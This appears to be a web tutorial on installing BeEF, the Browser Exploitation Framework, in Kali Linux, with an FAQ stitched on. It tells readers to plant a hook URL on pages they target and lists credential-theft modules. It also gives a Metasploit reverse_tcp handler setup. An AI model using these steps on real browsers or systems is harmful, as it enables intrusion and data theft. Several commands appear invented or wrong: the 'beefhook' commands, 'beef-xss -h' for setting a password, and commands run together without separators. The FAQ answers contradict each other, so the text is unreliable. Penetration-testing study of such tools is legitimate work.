How to Install and Set Up BeEF in Kali Linux

BeEF (The Browser Exploitation Framework) is a powerful penetration testing tool that focuses on exploiting vulnerabilities in web browsers With BeEF, you can hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against a system.

In this comprehensive guide, we’ll cover how to install and configure BeEF in Kali Linux from start to finish. By the end, you’ll have this powerful browser hacking toolkit ready to leverage in your security testing and research.

An Overview of BeEF

Let’s first briefly overview what makes BeEF such a versatile browser hacking tool:

Hooks and controls web browsers using JavaScript injection.
Launches command modules to exploit hooked browsers.
Integrated with Metasploit for advanced payload delivery.
Powerful RESTful API for automation and scripting,
Modular architecture allows extensive customization
Detailed logging and analytics for traffic analysis.
Easy-to-use web-based UI for managing attacks.

With support for advanced client-side exploitation techniques like XSS and MITM phishing, BeEF gives you immense power to test browser security.

Prerequisites

Before installing BeEF, make sure your Kali Linux machine meets these requirements:

64-bit installation
Latest version (2022.1 or higher recommended)
Network connectivity
Root access

You’ll also need the Iceweasel web browser installed to view BeEF’s UI.

Step 1 – Update Kali Linux

As with any Kali install, start by fully updating your system. Open a terminal and type:

sudo apt update && sudo apt full-upgrade -y

This grabs the latest package lists and upgrades all installed packages to current versions.

Reboot if any major system packages like the Linux kernel were updated.

Step 2 – Install BeEF

With Kali updated, you’re ready to install the BeEF package:

sudo apt install beef-xss

This will install BeEF and all its required dependencies like Ruby and Sinatra.

The install may take several minutes to fully complete.

Step 3 – Start the BeEF Service

Once installed, start and enable the BeEF service:

sudo systemctl start beef-xsssudo systemctl enable beef-xss

This launches the BeEF server in the background and configures it to start automatically on boot.

Step 4 – Set a Password

On first run, BeEF prompts you to set a password for the administrative user account:

beef-xss -h

Choose a strong password when prompted. This gives you access to the web UI.

Step 5 – Open the User Interface

With BeEF running, open the web UI in your browser at http://127.0.0.1:3000/ui/panel.

Step 6 – Generate Hook URL

To inject BeEF into browsers, generate a hook URL in the UI at http://127.0.0.1:3000/ui/panel/index.html#/hooks.

Insert this URL on web pages you want to target. When visited, the hook will execute and establish a BeEF foothold.

Step 7 – Start Browser Exploitation

Once hooked, the Browser Details page lists connected browsers you can start testing and exploiting through BeEF’s command modules like Pretty Theft, XssRays, and Social Engineering.

With this, BeEF is installed and ready for browser hacking on your Kali machine!

Useful BeEF Usage Examples

Here are some useful examples for configuring and leveraging BeEF in penetration tests:

Generate a custom hook payload with added exploits:

beefhook http://192.168.0.1/hook.js -p 3000 -e {"beef.browser.hook":"browser/beef.browser.popunder/","beef.browser.popup":"true"}

Use RESTful API to list hooked browsers programmatically:

curl http://127.0.0.1:3000/api/browsers

Send a test alert to hooked browsers from the CLI:

beefhook -x test_alert http://192.168.0.1:3000/hook.js

Integrate with Metasploit for powerful payload delivery:

msf > use exploit/multi/handlermsf > set lhost 192.168.0.1msf > set lport 4444  msf > set payload windows/meterpreter/reverse_tcpmsf > exploit -j

Next Steps and Resources

For more on mastering BeEF, check out these additional resources:

Official project documentation: https://beefproject.com/documentation
Browser Exploitation Framework (BeEF) module: https://www.offensive-security.com/metasploit-unleashed/browser-exploitation-framework/
BeEF hooking browsers cheatsheet: https://www.hacker target.com/beef-hooks-browsers-cheatsheet/

With BeEF installed, you now have an incredibly powerful browser hacking toolkit at your fingertips! Use it wisely and ethically to advance your browser security research.

How to Install Beef in Kali Linux || Installing BEeF on Linux OS || Cybernomous

FAQ

Is BeEF on Kali Linux?

BeEF is installed by default in Kali distribution. It is located in the /usr/share/beef-xss/ directory. By default, it is not integrated with the Metasploit framework.

What is BeEF used for in Linux?

BeEF is an open source tool designed to enable an attacker to use a target’s browser as an attack point, or beachhead.

What is the password for BeEF?

We’ve successfully set-up the BeEF exploitation framework. The default username and password are beef:beef. When we’ve successfully authenticated, the below web page is presented to us: We can see that the web page first greets us and presents the basic information and getting started guide about BeEF.

Does beef come pre-installed in Kali Linux?

With that in mind, let’s jump right into beef hacking. BEeF does not come pre-installed on newer versions of Kali Linux (from version 2019.3) but if you update an older version of Kali Linux you will not loose the BEeF framework. But you have to make sure to use “beef-xss” to launch the framework instead of “beef” as it was on earlier version.

What are some common problems with beef on Kali Linux?

Here are some common problems with BeEF on Kali Linux and their solutions: 1- Difficulty installing BeEF on Kali Linux due to missing dependencies or package conflicts. Solution: Ensure that your Kali Linux installation is up to date by running sudo apt update and sudo apt upgrade.

How do I install beef XSS on Kali?

On Kali, for example, use sudo apt update && sudo apt install beef-xss to install it, as illustrated in Figure 1. When you run the software for the first time, it prompts you to create credentials. Remember the credentials you create since you need them later. Figure 2. Log in to the software.

What is beef (browser exploitation framework) in Kali Linux?

One such powerful tool that stands out in the arsenal of Kali Linux is Beef (Browser Exploitation Framework). What is Beef? Beef, also known as the Browser Exploitation Framework, is a penetration testing tool designed to exploit and control web browsers remotely.